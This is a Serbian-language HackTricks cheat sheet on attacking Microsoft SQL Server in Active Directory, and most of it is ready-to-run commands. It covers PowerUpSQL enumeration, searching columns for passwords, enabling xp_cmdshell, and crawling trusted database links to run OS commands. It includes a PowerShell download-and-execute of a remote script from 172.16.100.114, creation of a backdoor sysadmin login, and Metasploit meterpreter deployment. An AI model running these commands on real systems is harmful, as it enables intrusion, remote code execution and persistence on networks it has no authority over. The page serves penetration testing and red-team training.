9.2 KiB
Zloupotreba MSSQL AD
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
- Da li radite u kompaniji za kibernetičku bezbednost? Želite li da vidite svoju kompaniju reklamiranu na HackTricks? ili želite pristupiti najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu? Proverite PLANOVE ZA PRIJAVU!
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Nabavite zvanični PEASS & HackTricks swag
- Pridružite se 💬 Discord grupi ili telegram grupi ili me pratite na Twitteru 🐦@carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na hacktricks repozitorijum i hacktricks-cloud repozitorijum.
Enumeracija / Otkrivanje MSSQL-a
Powershell modul PowerUpSQL je veoma koristan u ovom slučaju.
Import-Module .\PowerupSQL.psd1
Nabrajanje sa mreže bez sesije domena
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10
#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
Nabrojavanje iznutra domena
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
Osnovno zloupotreba MSSQL
Pristup bazi podataka
#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
# Search keywords in columns trying to access the MSSQL DBs
## This won't use trusted SQL links
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
MSSQL RCE
Moguće je izvršiti komande unutar MSSQL hosta
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
Osnovni trikovi hakovanja MSSQL-a
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}
MSSQL Poverljive veze
Ako je instanca MSSQL-a poverljiva (veza baze podataka) sa drugom instancom MSSQL-a. Ako korisnik ima privilegije nad poverljivom bazom podataka, moći će iskoristiti povereni odnos da izvršava upite i na drugoj instanci. Ove poverljive veze mogu biti povezane i u nekom trenutku korisnik može pronaći nekonfigurisanu bazu podataka gde može izvršavati komande.
Veze između baza podataka funkcionišu čak i preko poverenja šuma.
Zloupotreba Powershella
#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'
#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"
#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"
#Manual trusted link queery
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
Metasploit
Možete lako proveriti pouzdane veze koristeći metasploit.
#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
Primetite da će metasploit pokušati da zloupotrebi samo funkciju openquery() u MSSQL (tako da, ako ne možete izvršiti naredbu pomoću openquery(), moraćete ručno isprobati metod EXECUTE za izvršavanje naredbi, više detalja ispod.)
Ručno - Openquery()
Sa Linuxa možete dobiti konzolu MSSQL-a pomoću sqsh i mssqlclient.py.
Sa Windowsa takođe možete pronaći linkove i ručno izvršavati naredbe koristeći MSSQL klijent kao što je HeidiSQL
Prijavite se koristeći Windows autentifikaciju:
Pronalaženje pouzdanih linkova
select * from master..sysservers;
EXEC sp_linkedservers;
Izvršavanje upita putem pouzdanog linka
Izvršite upite putem linka (primer: pronađite više linkova u novom pristupačnom primeru):
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
{% hint style="warning" %} Proverite gde se koriste dvostruki i jednostruki navodnici, važno je koristiti ih na taj način. {% endhint %}
Možete nastaviti ovaj lanac pouzdanih veza zauvek ručno.
# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')
Uputstvo - IZVRŠI
Takođe možete zloupotrebiti poverene veze koristeći EXECUTE:
#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
Lokalno eskaliranje privilegija
MSSQL lokalni korisnik obično ima poseban tip privilegije nazvan SeImpersonatePrivilege. Ovo omogućava nalogu da "impersonira klijenta nakon autentikacije".
Strategija koju su mnogi autori osmislili je da prisile sistemski servis da se autentikuje na lažni ili servis između koji napadač kreira. Ovaj lažni servis zatim može da impersonira sistemski servis dok pokušava da se autentikuje.
SweetPotato ima kolekciju različitih tehnika koje se mogu izvršiti putem Beacon-ove komande execute-assembly.